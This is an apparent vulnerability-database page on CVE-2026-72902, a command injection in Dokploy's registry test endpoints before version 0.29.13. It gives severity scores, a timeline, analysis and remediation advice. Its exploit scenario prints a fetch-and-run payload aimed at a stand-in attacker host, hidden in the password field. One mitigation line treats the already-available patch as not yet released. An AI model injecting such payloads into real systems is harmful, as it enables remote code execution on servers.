What is the CVSS score of CVE-2026-72902?

CVE-2026-72902 has a CVSS 3.1 base score of 9.9 (Critical). CVSS vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H. EPSS exploitation probability: 0.5%.

Which versions of Dokploy are affected by CVE-2026-72902?

Dokploy, a self-hosted deployment platform used by organizations to manage application infrastructure, contains a critical vulnerability in all versions before 0.29.13 that allows authorized users…. A patch is available.

How to fix or mitigate CVE-2026-72902?

Within 24 hours, disable the registry testing functionality (registry.testRegistry and registry.testRegistryById endpoints) unless operationally critical, and restrict Dokploy administrative access to a hardened IP whitelist. Within 7 days, require multi-factor authentication for all Dokploy administrators, enable detailed logging of all command execution on Dokploy hosts, and segregate Dokploy infrastructure from production networks. Within 30 days, deploy Dokploy version 0.29.13 or later once released by the vendor and conduct security testing to verify the vulnerability is remediated.

Dokploy CVE-2026-72902

EUVD-2026-55799 CRITICAL

OS Command Injection (CWE-78)

2026-08-10 GitHub_M

Command Injection Dokploy

9.9

CVSS 3.1 · Vendor: GitHub_M

Severity by source

Vendor (GitHub_M) PRIMARY

9.9 CRITICAL

AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

vuln.today AI

9.9 CRITICAL

Network-reachable tRPC endpoint, trivial injection (AC:L), but requires an authenticated account (PR:L); commands run on separate SSH-connected targets justify scope change (S:C) with full C/I/A loss.

3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Attack Vector

Network

Attack Complexity

Low

Privileges Required

Low

User Interaction

None

Scope

Changed

Confidentiality

High

Integrity

High

Availability

High

Lifecycle Timeline

Patch available

Aug 10, 2026 - 21:05 EUVD

Source Code Evidence Fetched

Aug 10, 2026 - 20:20 vuln.today

Analysis Generated

Aug 10, 2026 - 20:20 vuln.today

CVE Published

Aug 10, 2026 - 19:41 cve.org

CRITICAL 9.9

DescriptionCVE.org

Dokploy is a free, self-hostable Platform as a Service (PaaS). Prior to 0.29.13, Dokploy allows an authenticated user to execute arbitrary commands on a local or SSH-connected target server because registry.testRegistry and registry.testRegistryById in apps/dokploy/server/api/routers/registry.ts interpolate the password field into an execAsyncRemote shell command instead of using safeDockerLoginCommand. This issue is fixed in version 0.29.13.

AnalysisAI

Command injection in Dokploy (self-hostable PaaS) before 0.29.13 lets an authenticated user run arbitrary OS commands on the Dokploy host or any SSH-connected target server. The registry.testRegistry and registry.testRegistryById tRPC endpoints interpolate the attacker-supplied registry password directly into a shell command (echo <password> | docker ...) via execAsyncRemote instead of the safe safeDockerLoginCommand helper. …

Unlock full vulnerability intelligence

Risk assessment & exploitation conditions
Attack chain visualization
Remediation with exact patch versions
Threat intelligence from 22 sources
Personal watchlist & email alerts

Continue with Google Continue with GitHub

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access

Authenticate to Dokploy panel

Delivery

Open registry test endpoint

Exploit

Submit password with shell payload

Execution

Password interpolated into docker shell command

Persist

execAsyncRemote runs command on host/SSH target

Impact

Arbitrary command execution and lateral pivot

Access

Authenticate to Dokploy panel

Delivery

Open registry test endpoint

Exploit

Submit password with shell payload

Execution

Password interpolated into docker shell command

Persist

execAsyncRemote runs command on host/SSH target

Impact

Arbitrary command execution and lateral pivot

Vulnerability AssessmentAI

Exploitation	Exploitation requires an authenticated Dokploy account with access to the registry test functionality (the registry.testRegistry or registry.testRegistryById tRPC procedures), consistent with CVSS PR:L - it is not unauthenticated. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment	The signals are largely consistent and point to a genuine high priority rather than a paper-tiger high-CVSS issue. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario	An authenticated Dokploy user (or an attacker who has obtained low-privilege panel credentials) creates or tests a container registry entry and sets the password field to a shell payload such as `$(curl attacker.sh\|sh)`. When registry.testRegistry runs, the payload is interpolated into the echo/docker shell command and executed via execAsyncRemote on the Dokploy host or a chosen SSH-connected target, yielding arbitrary command execution. …
Remediation	Upgrade Dokploy to version 0.29.13 or later, which is the vendor-released patch that replaces the unsafe password interpolation with safeDockerLoginCommand (see release https://github.com/Dokploy/dokploy/releases/tag/v0.29.13 and advisory https://github.com/Dokploy/dokploy/security/advisories/GHSA-w6r4-f26v-8g36). … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 24 hours, disable the registry testing functionality (registry.testRegistry and registry.testRegistryById endpoints) unless operationally critical, and restrict Dokploy administrative access to a hardened IP whitelist. …

Threat intelligence, references, and detailed analysis are available after sign-in.